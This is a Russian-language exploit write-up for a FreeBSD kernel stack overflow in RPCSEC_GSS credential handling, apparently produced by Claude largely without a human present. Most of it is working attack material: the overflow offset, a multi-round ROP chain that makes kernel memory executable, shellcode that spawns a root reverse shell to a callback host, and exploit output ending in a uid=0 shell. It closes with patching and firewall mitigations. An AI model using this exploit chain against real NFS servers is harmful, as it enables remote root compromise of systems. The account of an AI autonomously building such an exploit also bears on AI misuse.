26 марта 2026 ── FreeBSD публикует FreeBSD-SA-26:08.rpcsec_gss
               Автор: "Nicholas Carlini using Claude, Anthropic"

29 марта 2026 ── 09:45 PDT: Claude получает запрос на разработку эксплойта
               05:00 PDT: Claude предоставляет работающий root shell

               Итого: ~7 часов реального времени / ~4 часа реальной работы Claude
               Человек большую часть процесса был AFK.

/* В svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128];  /* Буфер в стеке */

/* 32 байта уже заняты полями RPC-заголовка */
/* Остаётся только 96 свободных байт        */

/* XDR допускает учётные данные до 400 байт */
/* 400 - 96 = 304 байта переполнения → перехват RIP */
memcpy(rpchdr, credential_body, credential_len);  /* ← ОШИБКА: размер не проверяется */

Атакующий (сеть)
    │
    │  Действительный билет Kerberos для nfs/target@REALM
    │
    ▼
NFS Server (порт 2049/TCP)
    │
    │  RPCSEC_GSS запрос с credential_len = 400
    │
    ▼
svc_rpc_gss_validate() ← кольцо ядра 0
    │
    │  memcpy без проверки размера
    │  [128 байт буфера + 304 байта переполнения]
    │
    ▼
Разрушение стека → управляемый RIP → ROP-цепочка → шеллкод
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell

# VM FreeBSD 14.4-RELEASE с:
# - 2+ CPU (FreeBSD порождает 8 NFS-потоков на CPU; эксплойту нужно 15 раундов)
# - загруженным kgssapi.ko
# - активным NFS на порту 2049
# - настроенным MIT Kerberos KDC (требуется для достижения уязвимого кода)
# - QEMU port forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# Критичная конфигурация Kerberos на атакующем:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # Без этого: билет для nfs/localhost@REALM (неверно)
    dns_canonicalize_hostname = false   # Сервер отклоняет с KRB5KRB_AP_WRONG_PRINC

Раунд  1:  ROP → pmap_change_prot(BSS, RWX)     ← сделать BSS исполняемым
Раунды 2-14: ROP → запись 32 байт шеллкода в BSS (4 записи × 8 байт)
Раунд 15: ROP → запись последних байт + JUMP на шеллкод

Бюджет на раунд: 4 записи × 40 байт = 160 байт + 24 байта exit = 184 байта ✓ (< 200)

; Каждый раунд завершается kthread_exit(0) вместо обычного возврата
; Сервер не падает — просто теряет один NFS-поток
; С 2 CPU: 16 доступных потоков → достаточно для 15 раундов

# Последовательность Де Брейна → каждая подстрока из 8 байт уникальна
# Отправить как credential body → ядро падает → прочитать RIP из crash dump
# Дизассемблирование показывало смещение 168 → реально: 200 байт
# Разница: 32 байта GSS-заголовка, которые статический анализ не учёл

pattern = cyclic(400)  # Де Брейн из 400 байт
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

/* Фаза 1 (в шеллкоде захваченного NFS-потока): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* Чисто убить NFS-поток */

/* Фаза 2 (в новом процессе): */
/* 1. Очистить debug registers (аппаратный баг — см. Шаг 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. Выполнить /bin/sh */
kern_execve("/bin/sh", args, envp);

/* 3. КРИТИЧНО: Очистить флаг P_KPROC */
/* Без этого fork_exit() вызовет kthread_exit() и убьёт процесс */
proc->p_flag &= ~P_KPROC;

/* 4. Возврат → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */

Симптом: Дочерний процесс падает с trap 1 (debug exception) на валидной инструкции.
Причина: kproc_create/fork1 копирует PCB родителя, наследуя брейкпоинты DDB,
         оставшиеся от предыдущих падений во время разработки эксплойта.

Исправление: Две инструкции перед kproc_create:
  xor eax, eax
  mov dr7, rax    ← Отключает все аппаратные брейкпоинты

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE → JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

# Скачать FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# Создать диск и запустить VM с 2+ CPU
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 2+ CPU для 16+ NFS-потоков
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # Лог для чтения crash dump

# Внутри FreeBSD: настроить NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# Базовая настройка KDC
pkg install heimdal
# Создать principals: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

1. Установить FreeBSD 14.4-RELEASE в VMware
2. В Network Adapter: выбрать "NAT" или "Host-only"
3. Настроить port forwarding в VMware NAT:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. Та же настройка NFS/Kerberos, что и в QEMU
5. В /etc/krb5.conf атакующего:
   kdc = 127.0.0.1:88   (указывает на port forward)

# Обновить FreeBSD до исправленной версии
freebsd-update fetch install

# Проверить, что advisory исправлен
freebsd-version -k  # Должна показывать версию после SA-26:08

# 1. Отключить kgssapi, если RPCSEC_GSS не нужен
kldunload kgssapi
# В /boot/loader.conf:
# kgssapi_load="NO"

# 2. Ограничить доступ к NFS файрволом
ipfw add deny tcp from any to any 2049 not via lo0
# Или с pf:
# block in quick on em0 proto tcp to port 2049

# 3. Требовать аутентификацию Kerberos только с доверенных IP
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0